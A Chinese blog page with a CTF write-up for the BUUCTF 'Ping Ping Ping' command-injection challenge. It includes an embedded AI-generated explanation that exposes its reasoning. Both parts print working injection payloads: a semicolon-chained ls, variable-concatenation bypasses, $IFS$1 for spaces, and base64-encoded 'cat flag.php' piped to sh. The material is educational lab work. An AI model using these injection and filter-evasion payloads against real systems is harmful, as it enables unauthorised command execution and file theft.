buuctf [GXYCTF2019]Ping Ping Ping

在这里插入图片描述
进去就要我们ping ip ,看看能不能命令执行 ?ip=127.0.01;ls发现可行
看到有flag ,不能cat,可远观而不可亵玩呼!

百度了命令执行绕过方法

试了很久,个人觉得这题有bug

a=ag.php;b=fl;c=cat;$c$b$a

如果把ag.php放后面就不行…


a=cat;b=fl;c=ag.php;$a$b$c

flag在源代码里

<think>好的,用户想参与BUUCTF的Web类Ping相关挑战,我需要根据提供的引用资料来整理回答。首先,用户提到的三个引用都是关于[GXYCTF2019]Ping Ping Ping这道题目的,所以需要围绕这个题目展开分析。 首先,题目中的参数ip存在命令执行漏洞,用户输入的内容会被当作系统命令执行。比如输入/?ip=127.0.0.1会执行ping命令。但用户的目标是读取flag.php文件,所以需要绕过一些过滤机制。 引用3中提到,尝试用管道符执行命令时,发现空格被过滤,于是用$IFS$1绕过。接着尝试cat flag.php时,发现flag被过滤,于是使用通配符*来绕过,比如fla*,但发现*也被过滤。于是改用base64编码的方式,将命令编码后通过管道传递给sh执行。 在回答中,需要分步骤说明解题思路,比如参数注入、绕过空格过滤、绕过flag关键词过滤以及base64绕过的方法。同时,要结合引用中的具体例子,如使用$IFS$1代替空格,用base64编码payload等。 另外,用户可能需要知道常见的命令执行绕过技巧,比如符号替换、变量拼接、编码等,这些在CTF中很常见。需要确保回答结构清晰,每一步都有对应的解决方法,并引用提供的资料作为支持。 最后,生成的相关问题要围绕题目中的知识点,比如命令执行漏洞、绕过过滤的技巧、其他可能的绕过方式等,帮助用户深入理解并解决类似问题。</think>### BUUCTF Web类Ping操作挑战解析:以[GXYCTF2019]Ping Ping Ping为例 #### 1. **漏洞定位与参数注入** 题目通过`ip`参数接收用户输入,并直接拼接到系统命令`ping`中执行。例如输入`/?ip=127.0.0.1`会触发命令`ping -c 3 127.0.0.1`。通过分号`;`可实现多命令注入,例如`/?ip=127.0.0.1;ls`会先执行`ping`再列出目录文件[^3]。 #### 2. **绕过空格过滤** 当尝试读取`flag.php`时(`/?ip=127.0.0.1;cat flag.php`),发现空格被过滤。此时可用以下方法绕过: - **符号替换**:使用`$IFS$1`(内部字段分隔符)代替空格,如`cat$IFS$1flag.php` - **其他方法**:`{cat,flag.php}`或`%09`(Tab的URL编码)等(但本题中`%09`可能被过滤) #### 3. **绕过"flag"关键词过滤** 当直接使用`flag`字符串时会被拦截,可采用: - **通配符绕过**:`fla*`匹配文件名,如`cat$IFS$1fla*`(但题目中`*`也被过滤) - **编码绕过**:将命令`cat flag.php`进行Base64编码得到`Y2F0IGZsYWcucGhwCg==`,再通过管道执行: ```bash echo$IFS$1Y2F0IGZsYWcucGhwCg==$IFS$1|$IFS$1base64$IFS$1-d|sh ``` 该命令将解码后的字符串通过`sh`执行,成功读取flag。 #### 4. **防御措施与拓展思路** - **过滤绕过技巧**:还可尝试`变量拼接`(如`fl=ag;cat$IFS$1$fl.php`)、`转义字符`(`fl\ag`)等方式 - **防御建议**:服务端应对用户输入进行白名单校验,禁用特殊字符如`;`、`$`、`|`等,并对关键函数进行过滤 $$ \text{Base64编码公式:} \text{Encoded} = \text{Base64Encode}(\text{OriginalCmd}) $$
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值